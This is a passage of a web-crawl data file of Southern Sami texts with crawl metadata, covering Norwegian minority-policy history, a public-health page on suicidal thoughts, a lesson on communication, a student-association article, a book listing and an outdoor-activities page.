skåajjesoemeladtjide baajnehti. Nöörjen lij gïele mij skuvlesne åtnasovvi. Dan gaavhtan ij naakenh skåajjesoemeladtjegïelem vielie soptsesth, jalhts såemies aktegsbaakoeh jih jïh naan gellie sijjienommh annje gååvnesieh.\n\"Assimileereemråajvarimmieh romaniåålmegi\/taadteri vööste jåerhkiejin eevre 1980-låhkoen minngiegietjien raajan\nDïhte dåehkie mij læjhkan vïerremes assimileeremepolitihkem dååjri lij romaniåålmege\/taadterh. Jalhts nöörjen åejvieladtjh lin assimileeremeråajvarimmide finansieereme jïh laakine vihtiestamme, lij akte privaate organisasjovne, Norsk misjon blant hjemløse, mij diedtem åadtjoeji gellie råajvarimmieh tjïrrehtidh daan dåehkien vööste 1900-låhkoen. Ulmie lij almetjh mah gohtjesovvin «jaahtegh», edtjin årroeh- almetjinie sjïdtedh, jallh akten vïesehtimmien mænngan Svanviken barkoekolonijesne edtjieh årroeh-almetjinie sjidtedh akten boelhken mænngan gosse skuvlesne vaadtsemejïh haarjanamme årrodh. Lissine misjovne gellie maanahïejmh tseegki. Daesnie filosofije lij maanah tjoerin eejhtegijstie vaaltasovvedh jis edtjin nuepiem utnedh årroeh-almetjinie jïh jupmeles almetjinie sjidtedh. Assimileeremeråajvarimmieh romaniåålmegi\/taadteri vööste jåerhkieji eevre 1980-låhkoen minngiegietjien raajan (Assimilering og motstand NOU:7 2015).\nEkskludeeremepolitihke– nöörjen rovmere\nMearan saemieh, kveenah jïh romanialmetjh \/taadterh offerinie sjïdtin assimilasjovnepolitihkeste, nöörjen rovmerhaktem vijries ålkoestimmiepolitihkem dååjrin voestes veartenedåaran mænngan. Boelhken dåaraj mænngan ij lij gåessie gih jienebh rovmerh goh medtie 150 almetjh, gusnie doh jeenjemes byjjes nöörjen staateårrojevoetem utnin.\n\"Easkah 1956 «sigööjnereparagraafe» båarhte vaaltasovvi nöörjen ammeslaakeste\nHammoedimmesne ekskludeeremepolitihkeste åejvieladtjh idtjin laakh jïh rutijnh aamhtesegïetedimmesne fulkh: idtji gåessie gih gyhtjelassh gihtjesovvh rovmeri staatenårrojereaktaj bïjre, jallh mejtie rovmerh byörin dej seamma assimilasjovneråajvarimmiej nualan båetedh mah jeatjah unnebelåhkoedåehkiej vööste stuvresovvin. Jaepien 1924 aktem laantenvijries registreeremem rovmerijstie darjoeji, juktie maehtedh unnebelåhkoem laanten sistie jååkedh. 1927 nöörjen ammeslaakine aktem byjjes nærhtomem vihtiesti rovmeridie laantesne hööltestidh. 1934 akte dåehkie 68 nöörjen rovmerijstie pryövi bååstede Nöörjese båetedh, men nöörjen åejvieladtjh dam nyöjhkin tyske-daanske raastesne. Mænngan tjoereme Belgijisnie årrodh, 66 nöörjen rovmerh seedtesovvin nåhkehtimmieleejrese Auschwits-Birkenau nazisti ritnemen gaavhtan Belgijistie. Ajve njieljie nöörjen rovmerh bïerkenin nazisti jaememeleejresne, mearan unnebe dåehkie lyhkesin Frankrijhkese båetedh åvtelen nazisth Belgijem ritnin, bïerkenin gosse lin dejnie fraanske leejresysteeminie. Easkah 1956 «sigööjnereparagraafe» båarhte vaaltasovvi nöörjen ammeslaakeste.\n1960-jaepiej minngiegietjesne nöörjen åejvieladtjh nænnoestin rovmerh edtjin vuajnalgidh goh «autonome kulturelle unnebelåkoe», guarkeme goh dåehkie ij edtjh assimilasjovnem jallh jeatajh såarhts noerhkemeråajvarimmieh dååjredh (Rosvoll jïh Bielengerg 2012). 1972 Rehabiliteeremeprosjekte nöörjen sigööjneridie eelki, mænngan Sigööjnerekontovre bööti 1973. Prosjekte idtji dejtie ulmide jaksh mejtie lij biejeme: Ajve naan gille maanah skuvlem jaabnan veedtsin, ij naan geerve almetjh lin lïereme lohkedh jïh tjaeledh jallh barkose böötin gusnie baalhkam åadtjoejin. Engebrigtsen jïh Lidén tjïelkestieh råajvarimmiej nåake illedahkh lin illedahke åejvieladtji sjaavnjoen gaavhtan rovmeridieåajvahkommes jienebelåhkoen premissineinkludeeredh (Engebrigtsem jïh Lidén 2010). Dan åvteste illedahkh fååtesin jïh dåeriesmoerh dïedtejoekedimmine staaten jïh tjïelten gaskem utnin, Sigööjnerekontovre orreji 1991 jeatjah fåantoejgujmie ektine. Dan mænngan treende sjïdti rovmerh edtjin seamma gïetedimmiem åadtjodh goh gaajhkh jeatjah årrojh (Rosvoll og Bielenberg 2012).\n«Juvdelassjeparagraafen» raejeste Nöörjen Holocausten raajan – juvdelassjh Nöörjesne\nGosse lea gïetedimmien bïjre juvdelassjijste, Nöörje lea sjïere sijjesne europan ektiedimmesne. Nöörje lea aajnehke laante Europesne mij juvdelassjh nyrhteme laantesne hööltestidh, 2. paragraafen tjïrrh Maadthlaakesne jaepeste 1814.\nMaadthlaakenjoelkedassen skraejrie lij vuestiesemittiske åssjaldahkh, mij gaskem jeatjah jeehti juvdelassjh sïjhtin «staate staatesne» sjïdtedh (Harket 2014). Maadthlaakenjoelkedasse skubpesovvi 1851.\n\"Åejvieladtjh stoerre skepsisem juvdelassji vööste vuesiehtin\nMohte dïsse mij lij faamosne dejtie jeenjemes unnebelåhkoedåehkide Nöörjesne, nöörjen åejvieladtjh idtjin naan sjïere politihkem juvdelassji vööste utnieh åvtelen mubpien veartenedåaran (bielelen nærhtome koscherleekedimmien vööste) (Snildal 2014) Daate sæjhta jiehtedh, ij gujht naan byögkeles politihke. Dïhte ovbyjjes politihke juvdelassji vööste uvtemes vååjnesasse bööti striengkies krïevenassi tjïrrh juvdeles sïjsevaanterdæmman, jïh staateårrojevoetem juvdelassjide vedtedh, joekoen boelhken 1914-1940. Åejvieladtijste lij stoerre skepsise juvedelassji vööste, jïh departemeenti juristh raastide guhkiedin dïsse mij meehti vuajnalgidh goh juridihken mietie gosse juvdelassjide ohtsemh staateårrojevoeten bïjre nyöjhkin. Aamhtesepaehpierinie juristi persovneles antipatijh joekoen våajnoes sjidtieh (Johansen 2005). Lissine lij skepsise juvdelassji vööste generaalestaaben etterretningoffiseeri luvnie dan åvteste juvdelassjide revolusjonære otnjegidie jïh sïektjedimmiebarkose ektiedin (Johansen 1984).\n\"Boelhken 1942-1943 ånnetji jienebh goh gåalmahtasse juvdelassjijste Nöörjesne seedtesovvin Auschwitz-Birkenauese.\nGosse Nazo-Tysklaanet Nöörjem ritni dellie dïhte konsekvensh juvdeles unnebelåhkose Nöörjesne åadtjoeji. Boelhken 1942-1943 ånnetji vielie goh gåalmahtasse juvdelassijste seedtesovvin Auschwitz-Birkenause. Ajve 34 dejstie bïerkenin jaememeleejresne. Lissine 28 juvdelassjh båvvalgin Nöörjesne (Bruland 2008). Guhkiem idtji soptsesth nöörjen pollise lij meatan gosse dejtie nöörjen juvdelassjide arresteerin, jïh easkah 1990-jaepiej minngiegietjesne juvdelassjh maaksoem nöörjen staateste åadtjoejin.\nNasjonaale unnebelåhkoeh goh histovrijes aktöörh\nAkte haesteme unnebelåhkoehistovrijen bïjre ööhpehtidh lea mijjieh vaahrese båetebe unnebelåhkoej bïjre soptsestidh goh passijve. Mijjieh sveekes dåehkiej bïjre soptsestibie goh histovrijes aktöörh mah jïjnjem darjoeh, men daamtajåbpoe goh dåastojh jienebelåhkoen sosijaale- jïh\/jallh unnebelåhkoepolitihkeste. Dan gåhkese unnebelåhkoej histovrijen bïjre soptseste, soptsesem ajve gaertjiedibie kultuvrehistovrijes åehpiedehtiemidie, goh kulturelle sjïere væhtah goh jieledevuekie, beapmoevuekieh jïh daeverh.\n\"Soptsese nasjonaale unnebelåhkoej bïjre lea sveekes histovrijes aktööri bïjre mah jïjnjem darjoeh, men daamtajåbpoe goh dåastojh jienebelåhkoen sosijaale- jïh\/jallh unnebelåhkoepolitihkeste.\nRiektesisnie mobiliseereme gååvnesi dej jeenjemes dåehkiej gaskem mah daan biejjien statusem utnieh goh nasjonaale unnebelåhkoe, goh vuestiereaksjovne jïh vuastalimmie dej politihkeles bihkedassi vööste, mah ovmessie boelhkine stuvresovvin dåehkiej vööste, nöörjen åejvieladtjijste. Unnebelåhkoedåehkijste mah daan biejjien statusem utnieh goh aalkoeåålmege jïh nasjonaale unnebelåhkoeh, lij joekoen juvdelassjh jïh romanialmetjh mah gaavnoes vuestiestrategh åtnose veeltin ovmessie demokrateles vierhkievierhtieh Nöörjesne ritnemen åvtelen. Fïereguhten dåehkien eaktoeh nöörjen demokratijen sisnjelen opereeredh lin gaajh joekehts, jïh strategijh lin dan gaavhtan joekehts. Dovne romanialmetjh\/taadterh, juvdelassjh jïh rovmerh aareh strategijh unnebelåhkoepolitihkeles jïh sosijaale tsiehken vööste tseegkin mesnie lin.\nRomanialmetjh\/taadterh – jupmeles guhtsiehtimmie goh våarome vuastalæmman\nJaepien 1929 tijrkijh romanialmetji \/taadteri åvteste Landeveien- Hjemløse- Union tseegki, jïh mænngan De forsømtes misjon bööti jaepien 1933 mij ulmine utni jieledetsiehkiem bueriedidh jïh assimileeremedeadtoven vööste barkedh rååresjimmien tjïrrh Omstreifermisjovnine (Jahtegemisjovne) Romanialmetjiide\/taadteridie siebrie ektie gaavnedimmiesijjine sjïdti. Jupmeles guhtsiehtimmie goh gaavnedimmiesijjie jåerhkieji luhkiejaepiej mubpien veartenedåaran mænngan. Stiftelse Evangeliejarngeste 1983 vihkele sjïdti don sosijaale jïh politihkeles organiseeremasseromanialmetjijstie\/taadterijstie. 1990-låhkoen jienebh siebrieh tseegkesovvin goh våarome kulturelle jïh politihkeles barkose. Dah vihkele sjïdtin barkosne dåahkan bueriedimmiem vedtedh narrahtimmiej åvteste, jïh barkoem orrijidh dåahkan siebrien tjïrrh Norsk misjon blant hjemløs (Assimilering og motstand, NOU2015:7).\nJuvdelassjh - integreeremeprosesse\nJuvdelassjide tsiehkie lij jeatjahlaakan. Nöörjen unnebelåhkoepolitihke idtji dan tjarke juvdelassjide baajnehth, goh dåehkie, dåaran åvtelen. Bielelen religijovne, juvdelassji jieledevuekie jeenjemasth vuajnalgi goh lij harmonijesne jienebelåhkoen dåajvoejgujmie (Lien 2016). Tjoevkesisnie 1920- jïh 1930-jaepiej restriktijve unnebelåhkoepolitihkeste, juvdelassji unnebelåhkoen strategije maahta nöörjen stoerreseabradahkine integreeemeprosessine vuajnalgidh– baajnehtamme vaarjelimmeste jïjtse religijovnen jïh kultuvren bïjre nasjonaale jïh skandinavijen siebriebarkoen tjïrrh, aktine vihties sjïehtedimmine dejtie reerije seabradahkenjoelkedasside. Dåaran mænngan, jalhts juvdelassji deejrin daaroej eadtjohke deportasjovni bïjre Auschwitzese, juvdelassji sjaavnjoe lij hijven daarojne vuajnalgidh jïh baajin årrodh nöörjen seabradahkem laejhtedh. Men juvdeles seabradahke tuhtjie jïh tuhtji vihkeles guktie nöörjen seabradahken vuajnoe lea juvdelassjide, jïh dïsse mij lea juvdeles (Banik jïh Levin 2010)\nRovmere – transnasjonaliteete jïh jïjtjesegregeereme\nHaesteme nöörjen rovmeridie boelhken mubpien veartenedåaran åvtelen lij dej aerpievuekieh eah lin harmonijesne dej daajbaaletje, nasjonaale gaertjiedimmiekriterijumigujmie. Aktene veartenisnie mij jeenjemes utni årroeh-almetjinie årrodh goh iemie jïh sïejhme, dle juhtijealmetjinie årrodh vuajnalgi goh dejbaaletje jïh nåhkehtamme jieledevuekie. Rovmeri perspektijven mietie strategije sjïdti jienebelåhkoen seabradahken ålkolen veasodh, juktie jïjtsh kulturelle praksisem gorredidh, akte transnasjonaale kultuvre ovmessie fuelhkieviermiejgujmie nasjonaale raasti dåaresth. Gaskese nöörjen institusjovnigujmie goh pollisestasjovnh, lientsiekontovrh, konsulaath jïh legasjovnh, lissine gellie plearoeh institusjovnh jeatjah laantine lin akte daerpies nåakevoete, edtja jieledevuekiem jïh kultuvrem tjåadtjoehtidh mij ij lij sjïehtedamme jienebelåhkoen nasjonaale gaertjiedimmiekriterijumidie.\n\"Akten rovmeren perspektijven mietie strategije sjïdti jienebelåhkoen seabradahken ålkolen jieledh juktie jïjtse kulturelle praksisen vaarjelidh jïh gorredidh.\nFaatoes goerkese rovmeri domtesasse ammes årrodh nöörjen seabradahkesne jïh faatoes goerkese dej kulturelle aarvoej, aerpievuekiej jïh jieledevuekiej bïjre jåerhkieji luhkiejaepiej dåaran mænngan, jïh råajvarimmide jïh politihkem baajnehti, naakede maam rovmerh guarkajin jïh vuastalin. Dej vuastalimmiestrategije dan åvteste dovne vuastalimmine sjïdti jarkelimmien vööste, gorredimmie sentraale institusjovnijste jïh såemies sjïehtedimmie – desnie gusnie vååjni goh vaajteles jïh daerpies. Seamma tïjjen nöörjen rovmerh lin sjïere posisjovnesnedan åvteste dah lin gaajh onne unnebelåhkoe mij lij jearohke nöörjen staateste(Lidén og Engebrigtsen 2010).\nGoh illedahke sïejhme voerkelimmeste rovmeri Holocausteste jïh dïhte politihke maam nöörjen åejvieladtjh leah dåehkien vööste åtneme (Rosvoll, Lien jïh Brustad 2015), rovmerh leah mobiliseereme unnebelåhkoem våajnoes darjodh nöörjen seabradahkesne. Kultuvregåetiej tjïrrh jïh tseegkemen tjïrrh siebreste Romsk råd, dåehkie lea institusjovnh tseegkeme mah unnebelåhkoem daerpiesvoeth huksieh, jïh politihkeles kanaale mij modtede dan nöörjen demokratijen vööste.\nKveenh – læstadijanisme jïh politihkeles organiseereme\nDovne 1800-låhkoen minngiegietjesne jïh boelhken dåaraj gaskem, kveenen byjresh pryövin soemengïeleldh plaerieh tseegkedh, men bæjhkoehtimmieh vuastalimmiem nöörjen åejvieladtjijste åadtjoejin. Kveenah idtjin lyhkesh etno-politihkeles organiseereminie åvtelen 1980-jaepiej, jïh aaj dellie mobiliseereme geerve nuepieh utni stigmatiseeremen, striengkies unnebelåhkoepolitihken jïh vååksjedimmien gaavhtan. Læstadijanismevihkielommes kulturelle jïh gïeleldh vaarjelimmievierhkie sjïdti, man åvteste lij daamtaj kveenen læstadijanerh mah lin njueniehkisnie voenges laejhtehks ræjhtojde skuvline jïh gærhkojne. (Niemi 2010).\n1990-jaepiej kveenah jïjtjemse etnopolitihkeles organiseerin jïh unnebelåhkoestatusen bïjre krïevin nöörjen åejvieladtjijste.Dïhte minngemes mietiemoere bööti ålkoelistie, Europaraerien bööredimmien tjïrrh mieriekonvensjovnemvaarjelæmman nasjonaale unnebelåhkojste vuelietjaeledh jïh jååhkesjidh (Niemi 2010).\nSkåajjesoemeladtjh\nIedtje skåajjesoemen kultuvreaerpeste jïh identiteeteste lij mahte båarhte 1800-låhkoen minngiegietjien raejeste, jïh jeenjesh pryövin tjiekedh dah lin skåajjesoemen maadtoste. Jarkelimmie bööti 1970-låhkoen. Vihkeles faktovre lea tseegkeme skåajjesoemen siebrijste orreme. Joe 1958 Solør-Värmland Finnkulturforening tseegkesovvi, 1985 Foreningen Finnskogen jïh 1991 skandinavijen viermieorganisasjovne FINNSAM (Finnbygder i samverkan) (Lars Anders Kulbrandstad 2010).\nPolitihkeles mietiemoere jealajehtiemasse skåajjensoemen barkoste statusine bööti goh nasjonaale unnebelåhkoe 1999. Norsk Skogfinsk Museum lea daan biejjien jarngesne barkosne skåajjesoemen histovrijem, kultuvrem jïh aerpievuekieh vaarjelidh, jïh dan bïjre bievnedh. Guhkiem museumen ståvroe jïh barkijh, dåarjojne skåajjesoemen iedtjebyjresistiebarkeme dåarjoem åejvieladtjijste åadtjodh akten museumegåatan mij nuepiem vadta skåajjesoemen histovrijem jïh kultuvrem vaarjelidh jïh dan bïjre bievnedh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/gaavnedimmie-nasjonaale-unnebelahkoej-jih-noeoerjen-staaten-gaskem","date":"2024-02-23T04:17:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00493.warc.gz","language":"sma","language_score":0.9999353886,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999353885650635}","num_words":1923,"character_repetition_ratio":0.071,"word_repetition_ratio":0.002,"special_characters_ratio":0.143,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aemieluesemeåssjaldahkh maehtieh gaajhke årrodh, goh åenehks åssjaldahkh jielede ij leah vyörtegs jieledh, jïh vihties åssjaldahkh jïh soejkesjh jïjtse jieledem vaeltedh.\nFåantoeh man åvteste naakenh aemieluesemeåssjaldahkh åadtjoeh jallh veeljieh jieledem orrijidh leah daamtaj gellielaaketje. Såemies aemieluesemeåssjaldahkh åadtjoeh jis psykiske vaejvieh jïh tsagkesh utnieh, jeatjebh dagkerh åssjaldahkh åadtjoeh goh illedahke aktede aehpeste jieliedisnie. Naakenh eah naan vihties fåantoem utnieh.\nJieledeaehpieh\nVihkele reaksjovni bïjre daejredh itjmies jallh haestije heannadimmiej mænngan jieliedisnie. Gaajhkesh sijhtieh dagkerh heannadimmieh dååjredh jieliedisnie, jïh naakenidie maahta jieledeaehpiem vedtedh jïh vaahram lissiehtidh aemieluesemeåssjaldahkh åadtjodh jïh aemieluesemem darjodh. Dagkerh heannadimmieh maehtieh årrodh:\nMaahta amma aemieluesemedåeriesmoerh utnedh bielelen psykiske skïemtjes årrodh. Dïhte akte væhta jielede ij leah naemhtie guktie byöroe årrodh, jïh daerpies maam akt dåeriesmoerigujmie darjodh jïh raeriem gaavnedh. Jis åssjaldahkh fer tjarke sjidtieh, dellie vihkele profesjonelle viehkiem ohtsedh.\nDepresjovne, asve jïh jeatjah psykiske vaejvieh\nMedtie 20 proseenth årroejijstie sijhtieh dååjredh skuapmah årrodh ikth jallh jienebh aejkieh jieliedisnie. Sïejhme aemieluesemeåssjaldahkh utnedh gosse lea skuapmah.\nIemie boelhkh jieliedisnie utnedh gusnie bïevstere gajva jallh datne håjnan domth, men jis aajhtsh dïhte jieledekvaliteetem jïh jïjtjedomtesem baajnehte jïh guktie datne aarkebiejjien haalvoeh, dellie vihkele datne viehkiem ohtsedh.\nDaesnie vielie bïevnesh åadtjoeh depresjovnen bïjre jïh gusnie maahtah viehkiem åadtjodh\nJeatjah psykiske vaejvieh\nJienebh psykiske vaejvieh lissiehtamme aemieluesemevaahram vedtieh. Lissine depresjovnese, dle schizofreni, bipolaare vaejvie, båajhtoeh åtnoe ruvsemehtijste jïh persovnelesvoetesturremh aaj lissiehtamme aemieluesemevaahram vedtieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.helsenorge.no\/sma\/psykisk-helse\/selvmordstanker-og-selvmord\/","date":"2024-02-23T07:12:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474361.75\/warc\/CC-MAIN-20240223053503-20240223083503-00233.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":216,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaskesadteme-vuekieh\nKråahpine sjeavodslaakan aaj gaskesadtebe. Ååredæjjine jïh kråahpine vuesehth jis aavosne jallh hujnesne. Jis gïetem lutnjh klaassesne dellie vuesehth sïjhth maam akt jiehtedh. Gaskesadteme-tsiehkie tsavtsa guktie dåemiedibie. Ibie mijjieh eejnegen lïhkebe dan bïjre ussjedh. Baakoeh jïh jiehtegh veeljebe tsiehkiej mietie. Mijjieh gaskesadteme-tsiehkiem krööhkestibie. Maehtebe aaj gellie vuekiej mietie gaskesadtedh, ovmessie gïeline.\nJis sïjhth dov voelpese soptsestidh datne satnem lyjhkh, dellie maahtah dam sutnjien jiehtedh. Dellie njaalmeldh gïeline gaskesadth. Jallh maahtah murries SMS:em tjaeledh jïh dov voelpese daam seedtedh. Datne baakoejgujmie, verbaale gïeline, gaskesadth.\nBaakoe verbum latijne-gïeleste båata jïh seamma goh baakoe saemien-gïelesne. Dovne njaalmeldh jïh tjaaleldh tjaalegh\/bïevnesh maam datne jeahtah jallh tjaalah jïh seedth, verbaale-gïeleldh tjaaleginie gåhtjobe.\nDagke sïjhth vaajmoem paehpieradtjese guvviedidh jïh dov voelpen bïenghkese dibrehtidh jallh rööpses blommam sutnjien vedtedh. Dellie guvvine jïh symboline gaskesadth. Maahtah aaj kråahpe-gïeline gaskesadtedh, voelpese mojjestidh, tjelmiem trimhkestidh jallh dam gaanestidh.\nTsiehkie nænnoste mejnie gïeline veeljh gaskesadtedh, men sisvege mahte seammalaakan dovne njaalmeldh jiehtiegisnie, teekste-dïjretjisnie, vaajmoe-guvvesne jïh gaanestimmesne. Dan gaavhtan hijven jis mijjieh aktem jiehtegem dej bïjre utnebe, gaajhkh leah teeksth. Teekste vuesehte maam sïjhtebe gaskesadtedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:2:3a4016d8-76ec-4bbb-b890-eb74e42f30c8\/resource:42e35974-d925-4ee5-a56d-1173906321b7","date":"2024-04-20T19:17:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817674.12\/warc\/CC-MAIN-20240420184033-20240420214033-00469.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":173,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien gïelese: Ellen Bull Jonassen\nMijjieh mubpieåvtehke Olena Hættam (20) Guovdageaidnuste jïh ekonomiken tjåadtjoehtæjja Ramona Kappfjell Sørfjellem (23) Sïebneste gaavnedibie Zoomen tjïrrh.\nOlena aalka sov dååjresen bïjre soptsestidh goh Noerhte Universiteetese Lievengisnie båtedh, bielele maam akt sijjien jallh almetji bïjre desnie damtedh.\n– Gosse diekie böötim daan tjaktjen, dellie lij numhtie: «Okej, vuajnam saemien tsïeglh daesnie». Men idtjim daejrieh mejtie lij saemieh daesnie, jïh gusnie edtjim dejtie gaavnedh, Olena jeahta.\nOlena eajhnadovvi maam jïjtje daejnie darjodh jïh gaskesem still raeriestæjjine, mij satnem raeriesti gaskesem eltedeh åarjelsaemien lokehtæjjastudien koordinatorvrine mij tåanghkoem jeatjah saemien student gujmie örnedi.\nThe best student gaavhta sjïdti\nOlena soptseste gosse dah voestes aejkien gaavnedin, dellie tjahkan sjïdtin soptsestidh golme, njieljie tæjmoeh jïh vihtiestin lij murreds orreme studeentiesiebriem aelkedh.\n– Mijjieh sïjhtimh aelhkebe darjodh dejtie mah sijhtieh gaskesem åadtjodh jeatjah saemiejgujmie, men mah dagke eah doesth raeriestæjjine gaskehtadh, Olena jeahta.\nRamona soptseste dah mah åarjelsaemien lokhehtæjjaöhpehtimmesne eelkin dæjman, Leah guhkiem ussjedamme studentesiebriem aelkedh.\n– Mijjieh åssjaldahkine utnimh dagke aktanidh dejnie julevsaemien lokhehtæjjaöhpehtimmine Bådåddjosne. Men gaavnehtimh mijjieh voestegh tjoerimh studentesiebriem aelkedh Noerhte universiteetese Trööndelagesne, Ramona jeahta.\nLohkh aaj: Samiske veivisere: – Et utsijing år\nCorona mijjem töttjeste\nDovne Olena jïh Ramona læjhkan tuhtjieh lij luste orreme aktem tjåenghkies saemien studentesiebriem buektiehtidh.\n– Mijjen minngebe ulmie, gosse mijen studeensiebrie lea aalkeme juhtedh, lea abpe Noerhte Universiteetem iktedidh.\nDarjomigujmie nïerhkedh lea stoerre haesteme orreme coronatsiehkien gaavhtan.\n– Siebrine aelkedh lea aelhkie orreme, men tjïrrehtidh lea vïerrebe. Fïerhten aejkien mijjieh libie maam akt soejkesjamme, dellie njoelkedassh faahketji striengkiesåbpoe sjïdteme. Jïh dellie ibie nuepiem åtneme Dam tjïrrehtidh. Numhtie orreme gellien aejkien, Olena jeahta.\nDaelie studeenth lissine bïevnesem åådtjeme abpe ööhpehtimmie tjaktjen raajan säjhta digitale årrodh.\n– Joekoen slæjhtoes orreme, juktie mijjieh hov vaajtelibie almetjh råakedh jïh almetjigujmie åahpenidh. Daelie ibie maam utnieh mïsse maehtebe aavoedidh, juktie iktesth ussjede: «jis mijjieh maam akt soejkesjibie, dellie sån ij mejtegh destie sjïdth.» Jïh maaje ij mejtegh destie sjïdth, Olena jeahta.\nLaavenjostoem säjhta\nStudeentiesiebrie læjhkan åvtese vuajna jïh stoerre syjhtedassh åtna dïsse maam sijhtieh tjïrrehtidh.\n– Mijjen ulmie lea baajedh årrodh ajve golme aath utnedh mejtie maehtebe aavoedidh abpe jaepien, goh goevten 6. b., gaptabiejjie jïh gïelevåhkoe.\n– Sïjhtebe aaj mijjieh maehtebe darjoemihdie j avoederbuidh. gïele- jïh kultuvreprïhtjhgåetie, hæhtjosne mïnnedh jïh duedtie-iehkedh. Gegkiestibie mijjieh maehtebe dejtie darjoemidie tjïrrehtidh tjaktjen raejeste, Olena jeahta.\n– Aaj gegkiestibie mijjieh maehtebe siebrine Saamien Studeenth Tråantesne laavenjostedh, guktie maehtebe stuerebe öörnemh tjïrrehtidh, jïh Saamien studeenth daamtajåbpoe tjönghkedh, Ramona lissehte.\nSÅD charm\nMijjieh viele SÅD's soejkesji bïjre soptsestibie, jïh ij Leah naan juerie jïjnje gïeltege lea vuertiemisnie, dan varke Korona Dam luhpehte.\nMinngemes Ramona tjïelke haestemem åtna dejtie mah eah rikti daejrieh maam edtjieh tjaktjese darjodh:\n– Jalhts ohtsememierie lea nåhkeme, maahta gujht syokedh dejtie sijjide mah aajmene sjïdteme dejnie Sami lokheminie. Jis Dam sïjhth, dellie mijjieh SÅD:sne dijjem ræhpas gïetigujmie dåastoehtibie.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ungdomsmagasin.no\/noerhte-universiteeten-booremes-studeentesiebrie","date":"2024-04-18T00:24:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817184.35\/warc\/CC-MAIN-20240417235906-20240418025906-00513.warc.gz","language":"sma","language_score":0.9999533892,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999533891677856}","num_words":445,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Logje, Per A. Bertije Davvi Girji Vaadtasovvemejaepie 2010 Faage Saemien 1 Eatnemelearoe jïh histovrije Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 9788273747723 Formaate Sïejhme gærja Reakta-aajhtere Davvi Girji Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 159 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/node\/6201","date":"2024-04-14T18:02:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.19\/warc\/CC-MAIN-20240414161724-20240414191724-00205.warc.gz","language":"sma","language_score":0.9998336434,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998336434364319}","num_words":61,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjomh\nDah vaerieh, vuemieh, pluevieh, jaevrieh jïh jeanoeh leah dusnie dov gaavhtan. Daesnie aaj gåarede maam akt orre dååjredh, aarkebiejjen raasseste jïh dïeredimmeste gåhkadidh jïh haalvemem damtedh.\nSkarvan jïh Roltdalen åålmegemiehtjesne jïh dan byjreskisnie jïjnjh ovmessie darjomefaalenassh. Jis sïjhth jeatjabigujmie årrodh jallh oktegh vaedtsedh, dam fïereguhte tjuara moenedh, bene daesnie dah nuepieh.\nJuktie vielie lohkedh mij dajvesne gååvnese, vuartesjh dejtie\novmessie darjomidie jïh sïeltide.\nTjovregehåagkome Nïejth vaanterdimmesne\nGuvvie: Christine Svarva Nielsen","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist\/UtendorsAktiviteter.aspx","date":"2013-05-22T00:20:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700958435\/warc\/CC-MAIN-20130516104238-00099-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":71,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne leah dov åtnoekontose loggih maahta gaajhkh dah dïenesjh 